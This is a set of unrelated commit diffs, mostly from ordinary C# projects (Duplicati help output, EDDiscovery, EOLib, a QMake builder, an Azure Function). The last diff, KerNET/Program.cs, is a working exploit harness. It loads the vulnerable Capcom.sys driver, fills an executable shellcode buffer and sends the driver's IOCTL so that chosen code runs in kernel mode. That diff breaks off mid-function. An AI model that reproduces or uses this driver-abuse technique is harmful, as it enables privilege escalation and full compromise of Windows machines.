+                tp = tp.Replace("%APP_PATH%", System.IO.Path.GetFileName(System.Reflection.Assembly.GetExecutingAssembly().Location));
+                tp = tp.Replace("%EXAMPLE_SOURCE_PATH%", Library.Utility.Utility.IsClientLinux ? "/source" : "D:\\source");
+                tp = tp.Replace("%EXAMPLE_SOURCE_FILE%", Library.Utility.Utility.IsClientLinux ? "/source/myfile.txt" : "D:\\source\\file.txt");
+                tp = tp.Replace("%EXAMPLE_RESTORE_PATH%", Library.Utility.Utility.IsClientLinux ? "/restore" : "D:\\restore");
+                tp = tp.Replace("%ENCRYPTIONMODULES%", string.Join(", ", Library.DynamicLoader.EncryptionLoader.Keys));
+                tp = tp.Replace("%COMPRESSIONMODULES%", string.Join(", ", Library.DynamicLoader.CompressionLoader.Keys));
+                tp = tp.Replace("%DEFAULTENCRYPTIONMODULE%", opts.EncryptionModule);
+                tp = tp.Replace("%DEFAULTCOMPRESSIONMODULE%", opts.CompressionModule);
+                tp = tp.Replace("%GENERICMODULES%", string.Join(", ", Library.DynamicLoader.GenericLoader.Keys));
+
+                if (tp.Contains("%MAINOPTIONS%"))
+                {
+                    List<string> lines = new List<string>();
+                    SortedList<string, Library.Interface.ICommandLineArgument> sorted = new SortedList<string, Library.Interface.ICommandLineArgument>();
+                    foreach (Library.Interface.ICommandLineArgument arg in opts.SupportedCommands)
+                        sorted.Add(arg.Name, arg);
+
+                    foreach (Library.Interface.ICommandLineArgument arg in Program.SupportedCommands)
+
+                        sorted.Add(arg.Name, arg);
+
+
+                    foreach (Library.Interface.ICommandLineArgument arg in sorted.Values)
+                        lines.Add(PrintArgSimple(arg, arg.Name));
+
+                    tp = tp.Replace("%MAINOPTIONS%", string.Join(Environment.NewLine, lines.ToArray()));
+                }
+
+                if (tp.Contains("%ALLOPTIONS%"))
+                {
+                    List<string> lines = new List<string>();
+                    foreach (Library.Interface.ICommandLineArgument arg in opts.SupportedCommands)
+                        Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+
+
+                    foreach (Library.Interface.ICommandLineArgument arg in Program.SupportedCommands)
+                        Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+
+                    lines.Add("");
+                    lines.Add("");
+                    lines.Add(Strings.Program.SupportedBackendsHeader);
+                    foreach (Duplicati.Library.Interface.IBackend back in Library.DynamicLoader.BackendLoader.Backends)
+                        PrintBackend(back, lines);
+
+                    lines.Add("");
+                    lines.Add("");
+                    lines.Add(Strings.Program.SupportedEncryptionModulesHeader);
+                    foreach (Duplicati.Library.Interface.IEncryption mod in Library.DynamicLoader.EncryptionLoader.Modules)
+                        PrintEncryptionModule(mod, lines);
+
+                    lines.Add("");
+                    lines.Add("");
+                    lines.Add(Strings.Program.SupportedCompressionModulesHeader);
+                    foreach (Duplicati.Library.Interface.ICompression mod in Library.DynamicLoader.CompressionLoader.Modules)
+                        PrintCompressionModule(mod, lines);
+
+                    lines.Add("");
+
+                    lines.Add("");
+                    lines.Add("");
+                    lines.Add(Strings.Program.GenericModulesHeader);
+                    foreach (Duplicati.Library.Interface.IGenericModule mod in Library.DynamicLoader.GenericLoader.Modules)
+                        PrintGenericModule(mod, lines);
+
+                    lines.Add("");
+
+                    tp = tp.Replace("%ALLOPTIONS%", string.Join(Environment.NewLine, lines.ToArray()));
+                }
+
+                if (tp.Contains("%FHOPTIONS%"))
+				{
+                    List<string> lines = new List<string>();
+                    foreach (Library.Interface.ICommandLineArgument arg in new Library.Main.ForestHash.FhOptions(new Dictionary<string, string>()).SupportedCommands)
+                        Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+
+                    tp = tp.Replace("%FHOPTIONS%", string.Join(Environment.NewLine, lines.ToArray()));
+				}
+
+                if (tp.Contains("%MODULEOPTIONS%"))
+                {
+                    //Figure out which module we are in
+                    IList<Library.Interface.ICommandLineArgument> args = null;
+                    bool found = false;
+                    foreach (Duplicati.Library.Interface.IBackend backend in Library.DynamicLoader.BackendLoader.Backends)
+                        if (string.Equals(backend.ProtocolKey, topic, StringComparison.InvariantCultureIgnoreCase))
+                        {
+                            args = backend.SupportedCommands;
+                            found = true;
+                            break;
+                        }
+
+                    if (args == null)
+                        foreach (Duplicati.Library.Interface.IEncryption module in Library.DynamicLoader.EncryptionLoader.Modules)
+                            if (string.Equals(module.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
+                            {
+                                args = module.SupportedCommands;
+                                found = true;
+                                break;
+                            }
+
+                    if (args == null)
+                        foreach (Duplicati.Library.Interface.ICompression module in Library.DynamicLoader.CompressionLoader.Modules)
+                            if (string.Equals(module.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
+                            {
+                                args = module.SupportedCommands;
+                                found = true;
+                                break;
+                            }
+
+                    if (args == null)
+                        foreach (Duplicati.Library.Interface.IGenericModule module in Library.DynamicLoader.GenericLoader.Modules)
+                            if (string.Equals(module.Key, topic, StringComparison.InvariantCultureIgnoreCase))
+                            {
+                                args = module.SupportedCommands;
+                                found = true;
+                                break;
+                            }
+
+                    //If the module is not found, we do not display the description
+                    if (found)
+                        tp = tp.Replace("%MODULEOPTIONS%", PrintArgsSimple(args));
+                    else
+                    {
+                        Console.WriteLine("Topic not found: {0}", topic);
+                        Console.WriteLine();
+                        //Prevent recursive lookups
+                        if (topic != "help")
+                            PrintUsage("help", new Dictionary<string, string>());
+                        return;
+                    }
+                }
+
+                if (NAMEDOPTION_REGEX.IsMatch(tp))
+                    tp = NAMEDOPTION_REGEX.Replace(tp, new Matcher().MathEvaluator);
+
+                PrintFormatted(tp.Split(new string[] { Environment.NewLine }, StringSplitOptions.None));
+            }
+            else
+            {
+                List<string> lines = new List<string>();
+
+                foreach (Duplicati.Library.Interface.IBackend backend in Library.DynamicLoader.BackendLoader.Backends)
+                    if (string.Equals(backend.ProtocolKey, topic, StringComparison.InvariantCultureIgnoreCase))
+                    {
+                        PrintBackend(backend, lines);
+                        break;
+                    }
+
+                if (lines.Count == 0)
+                    foreach (Duplicati.Library.Interface.IEncryption mod in Library.DynamicLoader.EncryptionLoader.Modules)
+                        if (string.Equals(mod.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
+                        {
+                            PrintEncryptionModule(mod, lines);
+                            break;
+                        }
+
+                if (lines.Count == 0)
+                    foreach (Duplicati.Library.Interface.ICompression mod in Library.DynamicLoader.CompressionLoader.Modules)
+                        if (string.Equals(mod.FilenameExtension, topic, StringComparison.InvariantCultureIgnoreCase))
+                        {
+                            PrintCompressionModule(mod, lines);
+                            break;
+                        }
+
+                if (lines.Count == 0)
+                    foreach (Duplicati.Library.Interface.IGenericModule mod in Library.DynamicLoader.GenericLoader.Modules)
+                        if (string.Equals(mod.Key, topic, StringComparison.InvariantCultureIgnoreCase))
+                        {
+                            PrintGenericModule(mod, lines);
+                            break;
+                        }
+
+
+                if (lines.Count == 0)
+                    PrintArgumentIfFound(new Matcher().Values, topic, lines);
+
+                if (lines.Count != 0)
+                {
+                    PrintFormatted(lines);
+                }
+                else
+                {
+                    Console.WriteLine("Topic not found: {0}", topic);
+                    Console.WriteLine();
+                    PrintUsage("help", new Dictionary<string, string>());
+                }
+            }
+        }
+
+        private static void PrintArgumentIfFound(IEnumerable<Duplicati.Library.Interface.ICommandLineArgument> args, string topic, List<string> lines)
+        {
+            if (args == null)
+                return;
+
+            foreach (Duplicati.Library.Interface.ICommandLineArgument arg in args)
+            {
+                if (string.Equals(arg.Name, topic, StringComparison.InvariantCultureIgnoreCase))
+                {
+                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+                    return;
+                }
+
+                if (arg.Aliases != null)
+                    foreach (string k in arg.Aliases)
+                    {
+                        if (string.Equals(k, topic, StringComparison.InvariantCultureIgnoreCase))
+                        {
+                            Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+                            return;
+                        }
+                    }
+            }
+        }
+
+        private static void PrintBackend(Duplicati.Library.Interface.IBackend back, List<string> lines)
+        {
+            lines.Add(back.DisplayName + " (" + back.ProtocolKey + "):");
+            lines.Add(" " + back.Description);
+            if (back.SupportedCommands != null && back.SupportedCommands.Count > 0)
+            {
+                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
+                foreach (Library.Interface.ICommandLineArgument arg in back.SupportedCommands)
+                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+            }
+            lines.Add("");
+        }
+
+        private static void PrintEncryptionModule(Duplicati.Library.Interface.IEncryption mod, List<string> lines)
+        {
+            lines.Add(mod.DisplayName + " (." + mod.FilenameExtension + "):");
+            lines.Add(" " + mod.Description);
+            if (mod.SupportedCommands != null && mod.SupportedCommands.Count > 0)
+            {
+                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
+                foreach (Library.Interface.ICommandLineArgument arg in mod.SupportedCommands)
+                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+            }
+            lines.Add("");
+        }
+
+        private static void PrintCompressionModule(Duplicati.Library.Interface.ICompression mod, List<string> lines)
+        {
+            lines.Add(mod.DisplayName + " (." + mod.FilenameExtension + "):");
+            lines.Add(" " + mod.Description);
+            if (mod.SupportedCommands != null && mod.SupportedCommands.Count > 0)
+            {
+                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
+                foreach (Library.Interface.ICommandLineArgument arg in mod.SupportedCommands)
+                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+            }
+            lines.Add("");
+        }
+
+        private static void PrintGenericModule(Duplicati.Library.Interface.IGenericModule mod, List<string> lines)
+        {
+            lines.Add(mod.DisplayName + " (" + mod.Key + "):");
+            lines.Add(" " + mod.Description);
+            lines.Add(" " + (mod.LoadAsDefault ? Strings.Program.ModuleIsLoadedAutomatically : Strings.Program.ModuleIsNotLoadedAutomatically));
+            if (mod.SupportedCommands != null && mod.SupportedCommands.Count > 0)
+            {
+                lines.Add(" " + Strings.Program.SupportedOptionsHeader);
+                foreach (Library.Interface.ICommandLineArgument arg in mod.SupportedCommands)
+                    Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+            }
+            lines.Add("");
+        }
+
+        private static string PrintArguments(IEnumerable<Duplicati.Library.Interface.ICommandLineArgument> args)
+        {
+            if (args == null)
+                return "";
+
+            List<string> lines = new List<string>();
+            foreach (Library.Interface.ICommandLineArgument arg in args)
+                Library.Interface.CommandLineArgument.PrintArgument(lines, arg, "  ");
+
+            return string.Join(Environment.NewLine, lines.ToArray());
+
+        }
+
+        private static void PrintFormatted(IEnumerable<string> lines)
+        {
+            foreach (string s in lines)
+            {
+                if (string.IsNullOrEmpty(s) || s.Trim().Length == 0)
+                {
+                    Console.WriteLine();
+                    continue;
+                }
+
+                string c = s;
+
+                string leadingSpaces = "";
+                while (c.Length > 0 && c.StartsWith(" "))
+                {
+                    leadingSpaces += " ";
+                    c = c.Remove(0, 1);
+                }
+
+                bool extraIndent = c.StartsWith("--");
+
+                while (c.Length > 0)
+                {
+                    int len = Math.Min(Console.WindowWidth - 2, leadingSpaces.Length + c.Length);
+                    len -= leadingSpaces.Length;
+                    if (len < c.Length)
+                    {
+                        int ix = c.LastIndexOf(" ", len);
+                        if (ix > 0)
+                            len = ix;
+                    }
+
+                    Console.WriteLine(leadingSpaces + c.Substring(0, len).Trim());
+                    c = c.Remove(0, len);
+                    if (extraIndent)
+                    {
+                        extraIndent = false;
+                        leadingSpaces += "  ";
+                    }
+                }
+            }
+        }
+
+        private class Matcher
+        {
+            Dictionary<string, Library.Interface.ICommandLineArgument> args = new Dictionary<string, Library.Interface.ICommandLineArgument>(StringComparer.InvariantCultureIgnoreCase);
+
+            public Matcher()
+            {
+                Library.Main.Options opts = new Library.Main.Options(new Dictionary<string, string>());
+                List<IList<Library.Interface.ICommandLineArgument>> foundArgs = new List<IList<Library.Interface.ICommandLineArgument>>();
+                foundArgs.Add(new Library.Main.Options(new Dictionary<string, string>()).SupportedCommands);
+                foundArgs.Add(Program.SupportedCommands);
+
+                foreach (Duplicati.Library.Interface.IBackend backend in Library.DynamicLoader.BackendLoader.Backends)
+                    if (backend.SupportedCommands != null)
+                        foundArgs.Add(backend.SupportedCommands);
+                foreach (Duplicati.Library.Interface.IEncryption mod in Library.DynamicLoader.EncryptionLoader.Modules)
+                    if (mod.SupportedCommands != null)
+                        foundArgs.Add(mod.SupportedCommands);
+                foreach (Duplicati.Library.Interface.ICompression mod in Library.DynamicLoader.CompressionLoader.Modules)
+                    if (mod.SupportedCommands != null)
+                        foundArgs.Add(mod.SupportedCommands);
+                foreach (Duplicati.Library.Interface.IGenericModule mod in Library.DynamicLoader.GenericLoader.Modules)
+                    if (mod.SupportedCommands != null)
+                        foundArgs.Add(mod.SupportedCommands);
+
+                foreach (IEnumerable<Library.Interface.ICommandLineArgument> arglst in foundArgs)
+                    if (arglst != null)
+                    {
+                        foreach (Library.Interface.ICommandLineArgument arg in arglst)
+                        {
+                            if (!args.ContainsKey(arg.Name))
+                                args[arg.Name] = arg;
+
+                            if (arg.Aliases != null)
+                                foreach (string a in arg.Aliases)
+                                    if (!args.ContainsKey(a))
+                                        args[a] = arg;
+                        }
+                    }
+            }
+
+            public IEnumerable<Library.Interface.ICommandLineArgument> Values { get { return args.Values; } }
+
+            public string MathEvaluator(System.Text.RegularExpressions.Match m)
+            {
+                if (!m.Success || !m.Groups["name"].Success)
+                    return "";
+
+                Duplicati.Library.Interface.ICommandLineArgument arg;
+                if (!args.TryGetValue(m.Groups["name"].Value, out arg))
+                    return "";
+                else
+                    return PrintArgSimple(arg, m.Groups["name"].Value.ToLowerInvariant());
+            }
+        }
+
+        private static string PrintArgsSimple(IEnumerable<Duplicati.Library.Interface.ICommandLineArgument> args)
+        {
+            if (args == null)
+                return "";
+
+            List<string> lines = new List<string>();
+            foreach(Duplicati.Library.Interface.ICommandLineArgument arg in args)
+                lines.Add(PrintArgSimple(arg, arg.Name));
+
+            return string.Join(Environment.NewLine, lines.ToArray());
+        }
+
+
+        private static string PrintArgSimple(Duplicati.Library.Interface.ICommandLineArgument arg, string name)
+        {
+            if (string.IsNullOrEmpty(arg.DefaultValue))
+                return string.Format("  --{0}{1}    {2}", name, Environment.NewLine, arg.LongDescription);
+            else
+                return string.Format("  --{0} = {1}{2}    {3}", name, arg.DefaultValue, Environment.NewLine, arg.LongDescription);
+        }
+    }
+}


Safety when reading a JSON field

Safety when reading a JSON field

--- EDDiscovery/EDSM/EDSMClass.cs
+++ EDDiscovery/EDSM/EDSMClass.cs
@@ -480,7 +480,7 @@
                 return 0;

             JObject msg = JObject.Parse(json);
-            int msgnr = msg["msgnum"].Value<int>();
+            int msgnr = msg["msgnum"].Int(0);

             JArray logs = (JArray)msg["logs"];


Update PubRecordProperty with full pub spec

--- EOLib.IO/PubRecordProperty.cs
+++ EOLib.IO/PubRecordProperty.cs
@@ -1,4 +1,4 @@
-namespace EOLib.IO
+namespace EOLib.IO
 {
     /// <summary>
     /// Enum representing the different properties that exist within the pub records
@@ -28,6 +28,8 @@
         ItemAccuracy,
         ItemEvade,
         ItemArmor,
+
+        ItemUnkB,

         ItemStr,
         ItemInt,
@@ -65,7 +67,12 @@
         ItemConReq,
         ItemChaReq,

+        ItemUnkD,
+        ItemUnkE,
+
         ItemWeight,
+
+        ItemUnkF,

         ItemSize,

@@ -75,9 +82,13 @@

         NPCGraphic,

+        NPCUnkA,
+
         NPCBoss,
         NPCChild,
         NPCType,
+
+        NPCUnkB,

         NPCVendorID,

@@ -89,6 +100,13 @@
         NPCAccuracy,
         NPCEvade,
         NPCArmor,
+
+        NPCUnkC,
+        NPCUnkD,
+        NPCUnkE,
+        NPCUnkF,
+        NPCUnkG,
+        NPCUnkH,

         #endregion

@@ -104,14 +122,39 @@

         SpellCastTime,

+        SpellUnkA,
+        SpellUnkB,
+
         SpellType,
+
+        SpellUnkC,
+        SpellUnkD,
+
         SpellTargetRestrict,
         SpellTarget,
+
+        SpellUnkE,
+        SpellUnkF,
+        SpellUnkG,

         SpellMinDam,
         SpellMaxDam,
         SpellAccuracy,
+
+        SpellUnkH,
+        SpellUnkI,
+        SpellUnkJ,
+
         SpellHP,
+
+        SpellUnkK,
+        SpellUnkL,
+        SpellUnkM,
+        SpellUnkN,
+        SpellUnkO,
+        SpellUnkP,
+        SpellUnkQ,
+        SpellUnkR,

         #endregion


[trunk] Omit source files that have been generated and are automatically added to the SOURCES list in Qmake, but don't exclude the build options they need

--- packages/C/dev/QMakeBuilder/CObjectFile.cs
+++ packages/C/dev/QMakeBuilder/CObjectFile.cs
@@ -16,35 +16,34 @@

             // any source file that is derived from a moc step should not be listed
             // explicitly, because QMake handles this via searching for Q_OBJECT classes
+            var excludedSource = false;
             if (System.IO.Path.GetFileNameWithoutExtension(sourceFilePath).StartsWith("moc_"))
             {
-                success = true;
-                return null;
+                excludedSource = true;
             }
-            // TODO: removing these source files, leaving an empty source list, seems to stop useful compilation options being added
-#if false
             // same with protocol buffers
             if (sourceFilePath.EndsWith(".pb.cc") && sourceLoc.Exists == Opus.Core.Location.EExists.WillExist)
             {
-                success = true;
-                return null;
+                excludedSource = true;
             }
-#endif

             var node = moduleToBuild.OwningNode;
             var optionInterface = moduleToBuild.Options as C.ICCompilerOptions;

             var data = new QMakeData(node);
             data.PriPaths.Add(this.EmptyConfigPriPath);
-            if ((moduleToBuild is C.ObjC.ObjectFile) || (moduleToBuild is C.ObjCxx.ObjectFile))
+            if (!excludedSource)
             {
-                data.ObjectiveSources.Add(sourceFilePath);
+                if ((moduleToBuild is C.ObjC.ObjectFile) || (moduleToBuild is C.ObjCxx.ObjectFile))
+                {
+                    data.ObjectiveSources.Add(sourceFilePath);
+                }
+                else
+                {
+                    data.Sources.Add(sourceFilePath);
+                }
+                data.Output = QMakeData.OutputType.ObjectFile;
             }
-            else
-            {
-                data.Sources.Add(sourceFilePath);
-            }
-            data.Output = QMakeData.OutputType.ObjectFile;
 #if true
             data.ObjectsDir = moduleToBuild.Locations[C.ObjectFile.OutputDir];
 #else


Testing removal of async Task from csx

Testing removal of async Task from csx

--- Function1/run.csx
+++ Function1/run.csx
@@ -7,7 +7,7 @@
 using Microsoft.Azure.WebJobs.Host;
 using Function1;

-public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
+public static HttpResponseMessage Run(HttpRequestMessage req, TraceWriter log)
 {
     return Function1.Function1.Run(req, log);
 }


Uh oh?

Uh oh?

--- KerNET/Program.cs
+++ KerNET/Program.cs
@@ -11,166 +11,197 @@
 using System.Threading;
 using System.Diagnostics;
 using System.Reflection;
+using System.Runtime.ExceptionServices;

 namespace KerNET {
-    unsafe class Program {
-        static IntPtr CreateService(string Name, string BinaryPath) {
-            IntPtr SCManager = Native.OpenSCManager(null, null, SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
-
-            if (SCManager == IntPtr.Zero)
-                throw new Exception("Could not open SCManager");
-
-            if (!File.Exists(BinaryPath))
-                throw new FileNotFoundException("Driver not found", BinaryPath);
-
-            IntPtr Ret = Native.CreateService(SCManager, Name, Name, 0xF01FF, 0x1, 0x3, 0x1, BinaryPath, null, null, null, null, null);
-            Native.CloseServiceHandle(SCManager);
-            return Ret;
-        }
-
-        static IntPtr OpenService(string Name) {
-            IntPtr SCManager = Native.OpenSCManager(null, null, SCM_ACCESS.SC_MANAGER_CONNECT);
-            IntPtr Ret = Native.OpenService(SCManager, Name, SERVICE_ACCESS.SERVICE_START);
-            Native.CloseServiceHandle(SCManager);
-            return Ret;
-        }
-
-        static IntPtr CreateService(string BinaryPath) {
-            return CreateService(Path.GetFileNameWithoutExtension(BinaryPath), BinaryPath);
-        }
-
-        static void WritePtr(IntPtr Ptr) {
-            Console.ForegroundColor = ConsoleColor.White;
-            Console.WriteLine("0x{0:X}", Ptr.ToInt64());
-            Console.ResetColor();
-        }
-
-        static bool Try(string Desc, Func<bool> A) {
-            Console.Write(Desc);
-            Console.Write(" ... ");
-
-            bool Result = false;
-            Exception Ex = null;
-
-            try {
-                Result = A();
-            } catch (Exception E) {
-                Ex = E;
-            }
-
-            if (Result) {
-                Console.ForegroundColor = ConsoleColor.Green;
-                Console.WriteLine("OKAY");
-                Console.ResetColor();
-            } else {
-                Console.ForegroundColor = ConsoleColor.Red;
-                Console.WriteLine("FAIL");
-                Console.ResetColor();
-            }
-
-            if (Ex != null && !Debugger.IsAttached)
-                throw Ex;
-
-            return Result;
-        }
-
-        static void Main(string[] args) {
-            Console.Title = "KerNET";
-
-            string ServiceName = "Capcom";
-            string FileName = Path.GetFullPath(ServiceName + ".sys");
-            IntPtr Capcom = IntPtr.Zero;
-
-            if (!Try("Opening service", () => {
-                return (Capcom = OpenService(ServiceName)) != IntPtr.Zero;
-            })) {
-                Try("Creating service", () => {
-                    return (Capcom = CreateService(ServiceName, FileName)) != IntPtr.Zero;
-                });
-            }
-
-            Console.Write("Capcom = ");
-            WritePtr(Capcom);
-
-            Console.WriteLine("Starting service and ignoring result");
-            Native.StartService(Capcom, 0, new string[] { });
-
-            FuckShitUp();
-
-            Console.WriteLine("Done!");
-            Console.ReadLine();
-        }
-
-        static void FuckShitUp() {
-            IntPtr CapFile = IntPtr.Zero;
-            if (!Try("Creating driver file handle", () => (CapFile = Native.CreateFile("\\\\.\\Htsysm72FB", FileAccess.ReadWrite,
-                FileShare.ReadWrite, IntPtr.Zero, FileMode.Open, FileAttributes.Normal, IntPtr.Zero)) != IntPtr.Zero))
-                return;
-
-            Console.Write("File handle = ");
-            WritePtr(CapFile);
-
-            IntPtr InBuffer = Native.VirtualAlloc(IntPtr.Zero, (IntPtr)1024,
-                   AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
-
-            if (!Try("Allocating shellcode buffer", () => (InBuffer != IntPtr.Zero)))
-                return;
-
-            // Prepare everything
-            foreach (var T in Assembly.GetExecutingAssembly().GetTypes()) {
-                foreach (var Method in T.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.NonPublic |
-                    BindingFlags.Public | BindingFlags.Instance | BindingFlags.Static)) {
-                    RuntimeHelpers.PrepareMethod(Method.MethodHandle);
-                }
-            }
-
-            RuntimeMethodHandle FuncRuntimeHandle = typeof(Krnl).GetMethod("Entry").MethodHandle;
-            //RuntimeHelpers.PrepareMethod(FuncRuntimeHandle);
-            IntPtr FuncPtr = FuncRuntimeHandle.GetFunctionPointer();
-
-            Console.Write("Krnl.Entry = ");
-            WritePtr(FuncPtr);
-
-            IOCTL_IN_BUFFER* InBufferContents = (IOCTL_IN_BUFFER*)InBuffer;
-            InBufferContents->ShellcodeAddr = &InBufferContents->Shellcode;
-            SHELLCODE.SetPayload(&InBufferContents->Shellcode, FuncPtr);
-
-            uint BytesReturned;
-            int OutBuffer = 0;
-
-            InBuffer = (IntPtr)((long)InBufferContents + 8);
-            Native.DeviceIoControl(CapFile, 0xaa013044, ref InBuffer, (uint)Marshal.SizeOf(InBuffer),
-                (IntPtr)(&OutBuffer), (uint)Marshal.SizeOf(OutBuffer), out BytesReturned, IntPtr.Zero);
-
-            //FuncHandle.Free();
-        }
-
-        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
-        delegate void KernelEntryFunc(Krnl.GetRoutineAddrFunc MmGetSystemRoutineAddress);
-    }
-
-    unsafe static class Krnl {
-        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
-        public delegate void* GetRoutineAddrFunc(void* PUNICODE_STRING);
-
-        public static void Entry(GetRoutineAddrFunc MmGetSystemRoutineAddress) {
-            try {
-
-                //void* DbgPrint = GetSystemRoutineAddress(MmGetSystemRoutineAddress, "DbgPrint");
-
-            } catch (Exception) {
-            }
-        }
-
-        static void* GetSystemRoutineAddress(GetRoutineAddrFunc MmGetSystemRoutineAddress, string RoutineName) {
-            void* RoutineNameU = null;
-            NtosKrnl.RtlInitUnicodeString(&RoutineNameU, RoutineName);
-            return MmGetSystemRoutineAddress(&RoutineNameU);
-        }
-    }
-
-    unsafe static class NtosKrnl {
-        [DllImport("NtosKrnl.exe", CharSet = CharSet.Unicode)]
-        public static extern void RtlInitUnicodeString(void** DestinationString, string SourceString);
-    }
+	unsafe class Program {
+		static IntPtr CreateService(string Name, string BinaryPath) {
+			IntPtr SCManager = Native.OpenSCManager(null, null, SCM_ACCESS.SC_MANAGER_CREATE_SERVICE);
+
+			if (SCManager == IntPtr.Zero)
+				throw new Exception("Could not open SCManager");
+
+			if (!File.Exists(BinaryPath))
+				throw new FileNotFoundException("Driver not found", BinaryPath);
+
+			IntPtr Ret = Native.CreateService(SCManager, Name, Name, 0xF01FF, 0x1, 0x3, 0x1, BinaryPath, null, null, null, null, null);
+			Native.CloseServiceHandle(SCManager);
+			return Ret;
+		}
+
+		static IntPtr OpenService(string Name) {
+			IntPtr SCManager = Native.OpenSCManager(null, null, SCM_ACCESS.SC_MANAGER_CONNECT);
+			IntPtr Ret = Native.OpenService(SCManager, Name, SERVICE_ACCESS.SERVICE_START);
+			Native.CloseServiceHandle(SCManager);
+			return Ret;
+		}
+
+		static IntPtr CreateService(string BinaryPath) {
+			return CreateService(Path.GetFileNameWithoutExtension(BinaryPath), BinaryPath);
+		}
+
+		static void WritePtr(IntPtr Ptr) {
+			Console.ForegroundColor = ConsoleColor.White;
+			Console.WriteLine("0x{0:X}", Ptr.ToInt64());
+			Console.ResetColor();
+		}
+
+		static bool Try(string Desc, Func<bool> A) {
+			Console.Write(Desc);
+			Console.Write(" ... ");
+
+			bool Result = false;
+			Exception Ex = null;
+
+			try {
+				Result = A();
+			} catch (Exception E) {
+				Ex = E;
+			}
+
+			if (Result) {
+				Console.ForegroundColor = ConsoleColor.Green;
+				Console.WriteLine("OKAY");
+				Console.ResetColor();
+			} else {
+				Console.ForegroundColor = ConsoleColor.Red;
+				Console.WriteLine("FAIL");
+				Console.ResetColor();
+			}
+
+			if (Ex != null && !Debugger.IsAttached)
+				throw Ex;
+
+			return Result;
+		}
+
+		static void Main(string[] args) {
+			Console.Title = "KerNET";
+
+			string ServiceName = "Capcom";
+			string FileName = Path.GetFullPath(ServiceName + ".sys");
+			IntPtr Capcom = IntPtr.Zero;
+
+			if (!Try("Opening service", () => {
+				return (Capcom = OpenService(ServiceName)) != IntPtr.Zero;
+			})) {
+				Try("Creating service", () => {
+					return (Capcom = CreateService(ServiceName, FileName)) != IntPtr.Zero;
+				});
+			}
+
+			Console.Write("Capcom = ");
+			WritePtr(Capcom);
+
+			Console.WriteLine("Starting service and ignoring result");
+			Native.StartService(Capcom, 0, new string[] { });
+
+			FuckShitUp();
+
+			Console.WriteLine("Done!");
+			Console.ReadLine();
+		}
+
+		static void FuckShitUp() {
+			IntPtr CapFile = IntPtr.Zero;
+			if (!Try("Creating driver file handle", () => (CapFile = Native.CreateFile("\\\\.\\Htsysm72FB", FileAccess.ReadWrite,
+				FileShare.ReadWrite, IntPtr.Zero, FileMode.Open, FileAttributes.Normal, IntPtr.Zero)) != IntPtr.Zero))
+				return;
+
+			Console.Write("File handle = ");
+			WritePtr(CapFile);
+
+			IntPtr InBuffer = Native.VirtualAlloc(IntPtr.Zero, (IntPtr)1024,
+				   AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
+
+			if (!Try("Allocating shellcode buffer", () => (InBuffer != IntPtr.Zero)))
+				return;
+
+			// Prepare everything
+			foreach (var T in Assembly.GetExecutingAssembly().GetTypes()) {
+				foreach (var Method in T.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.NonPublic |
+					BindingFlags.Public | BindingFlags.Instance | BindingFlags.Static)) {
+					RuntimeHelpers.PrepareMethod(Method.MethodHandle);
+					Marshal.Prelink(Method);
+				}
+			}
+
+			RuntimeMethodHandle FuncRuntimeHandle = typeof(Krnl).GetMethod("Entry").MethodHandle;
+			//RuntimeHelpers.PrepareMethod(FuncRuntimeHandle);
+			IntPtr FuncPtr = FuncRuntimeHandle.GetFunctionPointer();
+
+			/*RuntimeMethodHandle FuncRuntimeHandle = typeof(Program).GetMethod("KrnlEntry").MethodHandle;
+			RuntimeHelpers.PrepareMethod(FuncRuntimeHandle);
+			IntPtr FuncPtr = FuncRuntimeHandle.GetFunctionPointer();*/
+
+			/*KernelEntryFunc F = new KernelEntryFunc(KrnlEntry);
+			GCHandle FHandle = GCHandle.Alloc(F, GCHandleType.Normal);
+			IntPtr FuncPtr = Marshal.GetFunctionPointerForDelegate(F);*/
+
+			Console.Write("Krnl.Entry = ");
+			WritePtr(FuncPtr);
+
+			IOCTL_IN_BUFFER* InBufferContents = (IOCTL_IN_BUFFER*)InBuffer;
+			InBufferContents->ShellcodeAddr = &InBufferContents->Shellcode;
+			SHELLCODE.SetPayload(&InBufferContents->Shellcode, FuncPtr);
+
+			uint BytesReturned;
+			int OutBuffer = 0;
+
+			Krnl.Pre();
+
+			InBuffer = (IntPtr)((long)InBufferContents + 8);
+			Native.DeviceIoControl(CapFile, 0xaa013044, ref InBuffer, (uint)Marshal.SizeOf(InBuffer),
+				(IntPtr)(&OutBuffer), (uint)Marshal.SizeOf(OutBuffer), out BytesReturned, IntPtr.Zero);
+
+			Krnl.Post();
+		}
+	}
+
+	[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+	public unsafe delegate void KernelEntryFunc(void* MmGetSystemRoutineAddress);
+
+	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
+	public unsafe delegate void* GetRoutineAddrFunc(UNICODE_STRING* PUNICODE_STRING);
+
+	unsafe static class Krnl {
+		static StringBuilder SBuilder;
+		static UNICODE_STRING* string_RtlInitUnicodeString;
+
+		public static void Pre() {
+			string_RtlInitUnicodeString = (UNICODE_STRING*)Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UNICODE_STRING)));
+			NT.RtlInitUnicodeString(string_RtlInitUnicodeString, "RtlInitUnicodeString");
+
